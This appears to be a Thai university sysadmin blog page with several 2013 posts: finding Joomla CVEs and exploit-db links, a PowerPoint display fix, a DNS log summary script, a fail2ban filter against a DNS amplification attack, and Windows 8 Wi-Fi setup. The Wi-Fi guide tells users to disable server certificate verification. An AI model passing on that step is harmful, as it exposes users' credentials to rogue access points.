CVE ย่อมาจาก Common Vulnerabilities and Exposures ดูรายละเอียดเพิ่มเติมที่ http://cve.mitre.org/ เรียกได้ว่า เป็น ชื่อทางการของช่องโหว่ โดยมีรูปแบบเป็น CVE-YYYY-NNNN โดยที่ YYYY เป็นปี ค.ศ. ที่ค้นพบช่องโหว่ ส่วน NNNN แสดงลำดับในการค้นพบ ดังนั้น จะมีชื่อได้ 10,000 ชื่อ เช่น CVE-2013-5576 แสดงว่า เป็นช่องโหว่ เกิดขึ้นปี 2013 และเป็นลำดับที่ 5576 ของปีนั้น (แต่ ตั้งแต่ 1 ม.ค. 2014 จะมีการเปลี่ยนแปลงรูปแบบ ตัวเลขตั้งแต่ 0-9999 จะยังใช้ NNNN หรือ 4 Digit เหมือนเดิม แต่เมื่อมากกว่านั้น ก็สามารถขยายไปได้เรื่อยๆ เช่น CVE-0001 แต่เมื่อเกิน 10,000 ก็จะเป็น CVE-10001 หรือใช้ NNNNN เป็น 5 Digit นั่นเอง)

ปัญหาอยู่ที่ว่า จาก Website ของ Joomla Developer Network มักไม่ค่อยให้รายละเอียดมากนัก จึงขอแนะนำ อีก Website คือ

http://www.scip.ch/en/?vuldb

เวปไซต์ดังกล่าว จะแสดงรายการช่องโหว่ต่างๆที่ค้นพบ จัดลำดับเวลาในการเกิดเหตุ และความร้ายแรงได้อีกด้วย

ในกรณีที่ต้องการค้นหา ปัญหาของ Joomla 2.5 สามารถใช้ Google ช่วยค้นหาได้ โดยการค้นหาด้วยคำต่อไปนี้
```
joomla 2.5 site:scip.ch
```
จากผลการค้นหา จะพบว่า มีหลายช่องโหว่มาก ลองดูสักหนึ่งรายการ

http://www.scip.ch/en/?vuldb.9847

จากภาพ แสดงให้เห็นว่า เป็นช่องโหว่ระดับ Critical ของ Joomla รุ่น 2.5.1 / 3.1.4 ซึ่งทำให้ Hacker สามารถ Upload ไฟล์ Backdoor เข้าไปใน Website ได้ และ ช่องโหว่ดังกล่าว ได้ตัวเลข CVE คือ CVE-2013-5576 พบเมื่อ วันที่ 23 ส.ค. 2013

นอกจากนั้น ยังแสดงรายละเอียดอื่นๆ ได้แก่ CVSS และ OSVDB ซึ่งจะเป็นการแสดงขนาดของผลกระทบ และความยากง่ายในการโจมตี ซึ่งจะอธิบายต่อไป

ต่อไป ลองไปดู รายละเอียดของ CVE-2013-5576 ที่
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5576

จะพบว่า มีคนทำ Exploits ไว้แล้วที่ http://www.exploit-db.com/exploits/27610/

สำหรับบางช่องโหว่ ก็มีคนไปสร้าง Patch หรือ วิธีแก้ไขให้แล้ว
จากรุ่น 2.5.13 เป็น 2.5.14 ทำตามนี้
https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8

จากรุ่น 3.1.4 เป็น 3.1.5
https://github.com/joomla/joomla-cms/commit/1ed07e257a2c0794ba19e864f7c5101e7e8c41d2

CVSS and OSVDB (เดียวกลับมาเขียนเพิ่มเติม)
Common Vulnerability Scoring System (CVSS ) เป็นระบบการให้คะแนนช่องโหว่ เพื่อให้สามารถบริหารจัดการ รายละเอียดการคำนวนทั้งหมด ดูได้ที่นี่ http://www.first.org/cvss/cvss-guide.html
Open Sourced Vulnerability Database (OSDB)

CWE (Common Weakness Enumeration)

นอกจากนั้น ยังมีเวปไซต์ ที่เราสามารถดู รายการช่องโหว่ ของ CMS หรือ Software ต่างๆ ได้ที่ CVE Details : http://www.cvedetails.com/

Joomla มีประวัติช่องโหว่ดังนี้
http://www.cvedetails.com/vendor/3496/Joomla.html

Wordpress มีประวัติช่องโหว่ดังนี้
http://www.cvedetails.com/vendor/2337/Wordpress.html

Mambo ในอดีต และหยุดพัฒนาไปตั้งแต่ปี 2008 มีประวัติช่องโหว่ดังนี้
http://www.cvedetails.com/vendor/842/Mambo.html

หวังว่าจะมีประโยชน์ครับ
December 13, 2013
วิธีแก้ปัญหา windows 8.1 กับ Powerpoint 2013 ที่มีความสามารถ Presenter View แล้วภาพสั่น

kanakorn.h

December 12, 2013
วิธีแก้ปัญหา windows 8.1 กับ Powerpoint 2013 ที่มีความสามารถ Presenter View ซึ่งทำให้ผู้บรรยายสามารถ รู้ว่า สไลด์ต่อไปเป็นภาพอะไร และมี Note ต่างๆ แถมยังสามารถ เลือก Slide ที่จะ show เบื้องหลัง ก่อนจะแสดงให้ผู้ชมเห็นทาง Projector ได้ด้วย

หน้าจอ Presenter View จะเป็นประมาณนี้

ปัญหา: เราเอา Notebook ไปต่อกับ Projector แล้วทำเป็นแบบ Duplicate ตอนแสดง Desktop ก็เห็นสวยงามดี ไม่สั่น แต่พอเปิด Powerpoint 2013 แล้ว กด F5 เพื่อ Present ก็พบว่า ภาพบน Projector สั่น หรือได้สัดส่วนไม่พอดี

เหตุ: Presenter View นั้น จะแอบสลับไปใช้ Secondary Screen Resolution นั่นเอง ถ้า ใครเคยตั้งไว้สูงลิ่ว เช่น 1920×1080 เพราะ ที่โต๊ะมี 2 จอ ให้ใช้ ก็จะทำให้เวลา Present เกิดอาการภาพสั่น

วิธีแก้ไข: ให้ปรับ Resolution ของ Secondary Screen ให้เป็นแบบเดียวกับ Primary Screen ที่ดีอยู่แล้ว เช่น เป็น 1366×768 เท่ากัน

แล้วจะทำให้การ Present ด้วย Powerpoint 2013 แบบ Presenter View ราบรื่น

หรือถ้าจะให้ง่าย คือใช้เป็นแบบ Primary Screen อย่างเดียว โดย
1. ไปที่ Presentation
2. เลือก Primary Screen
3. Uncheck “Use Presenter View”
ดังภาพ
December 12, 2013
dnsqsum script

chatchai.j

December 11, 2013

DNS Query Summary Script
สำหรับ Summary DNS Query Log เพื่อดูว่ามีการ query มาจาก host ใหน และ query domain ใหนบ้าง โดยแสดงเฉพาะ Top 10
— quick & dirty version —

#!/bin/bash

QLOG=”/var/log/named/query.log”

[ ! -f “$QLOG” ] && echo “Log file ‘$QLOG’ doesn’t exist?” && exit

DCOL=6

V=`head -1 $QLOG | cut -f5 -d’ ‘`
if [ “$V” = “view” ]; then
DCOL=8
fi

echo “===== Source of Query =====”
cat $QLOG | cut -f4 -d’ ‘ | cut -f1 -d’#’ | sort | uniq -c | sort -rn | head
echo “=———————-=”

echo “===== Domain to Query =====”
cat $QLOG | cut -f$DCOL -d’ ‘ | sort | uniq -c | sort -rn | head
echo “=———————-=”

December 11, 2013
update fail2ban after DNS query attack

chatchai.j

December 11, 2013

หลังจากทิ้งไว้นานกว่า 1 ปี ในที่สุดการโจมตีในลักษณะของการ DOS attack สำหรับ DNS Server ก็กลับมาอีกรอบ

วันนี้ (2013-12-11) คุณ สงกรานต์ก็ post ข้อความในกลุ่ม PSU Sysadmin บน facebook ว่า DNS Server หลายๆเครื่องที่อยู่ภายในเครือข่ายของ PSU มี traffic เกิดขึ้นมากผิดปกติ และมากกว่าตัว DNS Server หลักของมหาวิทยาลัยเอง {ns1,ns2}.psu.ac.th ซึ่งตัว DNS Server ทั้งสองโดยทั่วไปแล้ว เนื่องจากเป็นเซิร์ฟเวอร์ที่ให้บริการเป็นหลักให้กับเครื่องคอมพิวเตอร์ทั้งหมดภายในมหาวิทยาลัย ก็ควรที่จะมี traffic สูงกว่า DNS Server ตัวอื่นๆ แต่เมื่อเครื่อง DNS Server อื่นๆมี traffic สูงกว่า ก็พอที่จะบอกได้คร่าวๆล่ะว่า มีเหตุการณ์ผิดปกติเกิดขึ้นแน่ๆ

ในจำนวน server เหล่านั้น มีเครื่องเซิร์ฟเวอร์ที่ผมดูแลอยู่ด้วย เป็นเครื่องที่ใช้สำหรับสอน นศ. ในรายวิชา Linux Server Admin. ซึ่งหัวข้อหนึ่งที่นศ.จะต้องเรียน ก็คือการติดตั้งและให้บริการ Name Service ซึ่งเครื่องเซิร์เวอร์เครื่องนี้ นอกจากจะใช้เป็นตัวอย่างในการ setup แล้ว ยังทำหน้าที่เป็น 2nd DNS ให้กับ domain ของ นศ. ทั้งหมดด้วย (นศ. มี domain ของตัวเองคนละ 1 domain)

logfile ที่เกิดจากการ query มีขนาดมากกว่า 2GB จากการเก็บ log ของการ query ในช่วงเวลาประมาณ 3 วันครึ่ง (เริ่ม 2013-12-08 16:25 จนถึง 2013-12-11 12:40) เมื่อเทียบกับ log ปกติมีขนาดประมาณ 1-2 MB สำหรับการเก็บ log ในช่วง 1 สัปดาห์

หรือถ้าเทียบในแง่ของจำนวนของการ query ในช่วง 3 วันที่ผ่านมามีการ query ประมาณ 18 ล้านครั้ง เมื่อเทียบกับการ query ปกติประมาณ 15,000 ครั้งต่อสัปดาห์

การโจมติมาจากใหนบ้าง?

7778377 95.211.115.114
3870621 93.170.4.34
2596494 94.198.114.135
2581297 95.211.216.168
331584 199.59.161.6
53137 216.246.109.162
47351 205.251.194.32
46793 205.251.193.79
41119 156.154.166.38
39572 156.154.166.37
39501 54.230.130.116
36855 205.251.198.179
34079 42.112.16.162
31690 134.255.243.100
28662 205.251.197.226
27481 212.118.48.20
23435 204.188.252.146
20565 82.221.105.131
20477 89.184.81.131
19036 95.141.37.197
17404 72.20.56.200
14156 206.72.192.13
11510 82.221.105.139
10387 5.135.14.245

ตัวเลขในคอลัมน์แรกคือจำนวนครั้งที่มีการ query และในคอลัมน์ที่สองเป็น ip address

query อะไรบ้าง? ถ้าดูข้อมูลคร่าวๆก็จะได้

08-Dec-2013 06:58:54.295 client 192.99.1.168#9118: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
08-Dec-2013 06:58:54.296 client 192.99.1.168#19072: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)

08-Dec-2013 06:58:54.297 client 192.99.1.168#31887: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
08-Dec-2013 06:58:54.297 client 192.99.1.168#41984: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
08-Dec-2013 06:58:54.297 client 192.99.1.168#58743: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
08-Dec-2013 06:58:54.297 client 192.99.1.168#31137: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
08-Dec-2013 06:58:54.300 client 192.99.1.168#28542: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
08-Dec-2013 06:58:54.300 client 192.99.1.168#2480: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)

และถ้าแยกตามการ query ก็จะได้

17489596 adrenalinessss.cc
543618 ilineage2.ru
40400 dnsamplificationattacks.cc

คอลัมน์แรกเป็นจำนวนครั้งของการ query และคอลัมน์ที่สองเป็น domain ที่มีการ query

จาก config ของ bind9 บนตัว server ที่ setup เอาไว้ทุก query ที่ส่งมาจากภายนอกเครือข่ายของมหาวิทยาลัย มายัง domain ที่อยู่ในรายการข้างบนทั้งหมด จะถูก refused กลับไป

เอ่อ: _ควรจะ_ refused กลับไป -_-”

โดยการกำหนด option recursion ให้มีค่าเป็น “no” — config ตัวนี้สำหรับ debian (และ ubuntu?) จะอยู่ในไฟล์ /etc/bind/named.conf.options เพราะถ้า DNS server ไม่ได้ทำหน้าที่เป็น DNS Cache Server ก็ไม่ควรกำหนดให้ค่านี้เป็น yes

สาเหตุที่มีบรรทัด “เอ่อ: _ควรจะ_ refused กลับไป” ข้างบน เพราะผมเพิ่งพบว่า ค่า config บน server ที่ผมดูแลอยู่มันยัง set ค่าให้เป็น yes อยู่ … เพราะต้องการให้ นศ. ทดสอบการ query จากภายนอกเครือข่าย PSU Net. แล้วลืม set ค่ากลับให้ถูกต้อง

เพราะฉะนั้นในช่วงหลายวันที่ผ่านมาตัว Server ที่ผมดูแลอยู่ ก็ทำหน้าที่ช่วย DNS Amplification Attack ให้กับ bot ภายนอกอยู่ครับ -_-”

ประเด็นหนึ่งที่อาจจะเป็นปัญหา สำหรับ DNS Server ภายในเครือข่ายมหาวิทยาลัย สงขลานครินทร์ ที่อาจจะเจอปัญหานี้ก็คือ DNS Server ที่ setup เอาไว้ในหน่วยงาน นอกจากจะใช้เป็น Authorized DNS Server สำหรับ domain ของตัวเองแล้ว DNS ตัวเดียวกันก็ยังทำหน้าที่เป็น DNS Cache Server สำหรับเครื่องคอมพิวเตอร์อื่นๆภายในเครือข่ายของหน่วยงานตนเองด้วย ซึ่งหน้าที่ทั้งสองนี้ควรจะแยกออกจากกัน

ถ้ายังจำเป็นที่จะต้องใช้ร่วมกัน ก็อาจจะต้องกำหนด view (สำหรับ DNS Server ที่ใช้ bind9) ที่แตกต่างกัน เพื่อให้บริการการ resolve address แบบ DNS Cache Server ให้กับคอมพิวเตอร์ที่อยู่ภายในเครือข่ายของตนเอง และ ไม่ให้บริการการ resolve address อื่นๆ นอกเหนือจาก domain ของหน่วยงานเอง สำหรับเครื่องคอมพิวเตอร์อื่นๆ ที่อยู่นอกเครือข่ายของหน่วยงาน

ถ้ามีเวลาเดี๋ยวจะกลับมาเขียนเรื่องนี้อีกรอบ แต่ตอนนี้ขอกลับไปเรื่องของ fail2ban ต่อ

ผมเคยเขียนเรื่องของการ setup fail2ban เพื่อใช้สำหรับการตอบโต้การโจมตีแบบ DOS ซึ่งอยู่ที่นี่ http://sysadmin.psu.ac.th/2012/11/29/using-fail2ban-for-dns-brute-force-attack/

ซึ่งจะว่าไปก็เป็นวิธีที่ยังมีปัญหาในตัวมันเองอยู่ เพราะการที่จะตอบโต้ได้ เราก็จะต้องรู้ก่อนว่าการโจมตีเป็นแบบใหน หรือในที่นี้ก็คือ domain ที่ query สำหรับการโจมตีคืออะไร

มีวิธีการที่จะแก้ปัญหานี้โดยใช้ fail2ban ใหม? ผมยังไม่แน่ใจนัก (พอจะมี idea คร่าวๆ แต่ยังไม่ได้เริ่ม implement idea จริงๆ เลยยังไม่รู้ว่าจะใช้ได้จริงใหม)

แต่ถ้าจะใช้เครื่องมือที่มีอยู่เพื่อแก้ปัญหาในขณะนี้ก่อน นั่นคือ การโจมตีที่เกิดขึ้น มีการ query กับหลายๆ domain ตามนี้

17489596 adrenalinessss.cc
543618 ilineage2.ru
40400 dnsamplificationattacks.cc

เราจะปรับปรุง config ของ fail2ban ให้รับมือกับจำนวน domain ที่เพ่ิมขึ้นได้อย่างไร?

ก็โดยการแก้ไข filter โดยเปลี่ยนส่วนของ failregex ให้เป็นแบบนี้ครับ

failregex = client <HOST>#.+: view theworld: query: ilineage2.ru
client <HOST>#.+: view theworld: query: apidown.com
client <HOST>#.+: view theworld: query: adrenalinessss.cc
client <HOST>#.+: view theworld: query: isc.org
client <HOST>#.+: view theworld: query: dnsamplificationattacks.cc
client <HOST>#.+: view theworld: query: fkfkfkfa.com

ส่วนของ config ไฟล์อื่นๆ และ ส่วนอื่นของ named-query-dos.conf ก็ยังเหมือนเดิม อ้างอิงตามบันทึกที่แล้วนะครับ

หลังจากแก้ไขแล้ว เพื่อที่จะ update config ใหม่ สิ่งแรกที่ควรทำ ถ้าหากว่าไฟล์ query.log มีขนาดใหญ่มากก็คือ copy+compress ไฟล์ query.log เดิมเก็บไว้ก่อน แล้วค่อย restart ตัว fail2ban เพราะว่า ถ้าจะ restart fail2ban เลย ตัว fail2ban จะต้อง process logfile ทั้งหมดใหม่ก่อน ซึ่งจะใช้เวลานานมาก ซึ่งในกรณีของผมไฟล์ขนาด 2GB ทำให้ดูเหมือนกับว่า fail2ban ไม่ยอมทำงานหลังจาก restart แล้ว จนกระทั่งผมตรวจสอบ regex pattern ใหม่จนแน่ใจว่าเขียนถูกต้องแล้ว 2-3 รอบ ถึงจะมาเอะใจเรื่องของขนาดของ logfile ครับ

วิธีการจัดการกับ query.log file สามารถทำตามขั้นตอนได้ตามนี้ครับ

$ cd /var/log/named
$ sudo service bind9 stop; sudo mv query.log query.log.save; sudo service bind9 start
$ sudo bzip2 query.log.save &
$ sudo service fail2ban restart

ซึ่งคาดว่าจะหยุด bot ที่ใช้ในการโจมตีในตอนนี้ได้ชั่วคราว จนกว่าจะมีการ query โดยใช้ domain ใหม่ซึ่งไม่ปรากฏอยู่ใน list เพิ่มขึ้นมา

ซึ่งตอนนั้น … ค่อยว่ากันอีกที -_-“

December 11, 2013
การเพิ่ม Wireless Profile PSU WiFi (802.1x) บน Windows 8/8.1

jatuporn.ch

December 10, 2013

“บทความนี้ไม่ใช่บนความใหม่ แค่เป็นวิธีลงบน Windows 8/8.1 เท่านั้นนะครับ ใครชำนาญแล้วให้ข้ามไปได้เลยครับ”

ทำตามขั้นตอนดังนี้ครับ

1. เปิดหน้า Network and Sharing Center เลือก Set up a new connection or network

2. เลือก Manually connection to a wireless network

3. ให้ตั้งค่าดังรูป

*ขอแนะนำให้ใส่ชื่อ Network name ตัวเล็กตัวใหญ่แป๊ะ ๆ นะครับ มีวรรค 1 วรรคหน้า ( ด้วยนะครับ

4. หลังจากนั้นให้เลือก Change connection settings

*ถ้ามันบอกว่ามีอยู่แล้วให้ลบ profile ทิ้ง วิธีลบด้วย command line อ่านบทความได้ที่นี่ครับ
(http://sysadmin.psu.ac.th/2013/12/10/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%88%E0%B8%B1%E0%B8%94%E0%B8%81%E0%B8%B2%E0%B8%A3-wireless-profile-%E0%B8%9A%E0%B8%99-windows-88-1-%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99-command-line/)

5. เลือก Tab Security จากนั้นเลือกหัวข้อ Settings

6. ให้ ติก Verify the server…. ออก จากนั้นกด OK

7. จากนั้นเลือก Advance Settings ต่อ

8. ให้ติกในส่วนของ Specify authentication mode : และเลือกให้ authen แบบ User authentication ในกรณีที่เป็นเครื่องส่วนตัวสามารถเลือก Save credentials (Save Username Password) จะได้ไม่ต้องกรอกทุกครั้งที่ต่อครับ

* ในการ Save credentials ในกรณีเปลี่ยนรหัสผ่านต้องมาเปลี่ยนที่นี่ด้วยครับไม่งั้น Windows จะ authen ผิดถี่จนระบบ PSU Passport ทำการ lock account ของท่านครับ (ระบบจะปลด lock อัตโนมัติหลังจากหยุด login จากทุกระบบ 20-30 นาทีโดยประมาณ)

9. หน้าจอสำหรับ Save credentials

10. เป็นอันเสร็จ ปิดหน้าต่างที่เปิดไว้ให้หมดครับ แล้วลองกลับไปเชื่อมต่อใหม่อีกครั้งก็จะขึ้นหน้าให้ Login ดังรูปครับ ถ้าหน้าตาต่างจากนี้แสดงว่า Set ผิดครับ

December 10, 2013
การจัดการ Wireless Profile บน Windows 8/8.1 ผ่าน Command line

jatuporn.ch

December 10, 2013

“บางท่านอาจประสบปัญหาลบ Wireless Profile บน Windows 8/8.1 ไม่ได้ไม่รู้จะทำอย่างไร”

ผมจึงเสนออีก 1 วิธี คือการลบผ่าน Command Line ดังนี้

1. เปิดโปรแกรม CMD ขึ้นมาตามปกติ

2. ในกรณีที่ต้องการดูว่าตอนนี้มี Profile อะไรบ้างให้สั่งคำสั่ง

netsh wlan show profile

* หมายเหตุ : สำหรับคนที่ผูก account ไว้กับ Microsoft ทาง Microsoft จะมีการจำ Profile ไว้บน Cloud ให้เวลาท่านลงเครื่องใหม่ หรือนำ account ไปใช้กับเครื่องอื่น ถ้าเข้า SSID ไหนที่ต้องใส่รหัสผ่าน สามารถเข้าได้เลยโดยไม่ต้องใส่รหัสผ่าน (งงอยู่หลายครั้งว่าทำไมไม่ขึ้นให้ใส่รหัสผ่าน) ก็ไม่ต้องแปลกใจ แต่ในส่วนของ 802.1x ยังไงก็ต้องตั้งใหม่อยู่ดีครับ (มันไม่ได้จำทุก ๆ SSID นะครับ ไม่รู้มันเลือกยังไง)

3. ทำการสั่งคำสั่งลบ Profile นั้น ๆ ดังนี้

netsh wlan delete profile “xxxx”

เท่านี้ก็สามารถเพิ่มข้อมูล Profile ใหม่ได้แล้วครับ

*แถม : สำหรับคนที่ต่อติดแล้แต่อยากกลับไปแก้ Wireless Profile ที่ตั้งค่าไว้ให้เข้าไปแก้ได้ตามรูปครับ

1. เปิด Wifi Status ผ่านหน้า Network and Sharing Center

2. คลิกเลือก Wireless Properties จากนั้นจะปรากฎหน้าการตั้งค่า Profile จะแก้อะไรก็แก้ได้เลยครับ

December 10, 2013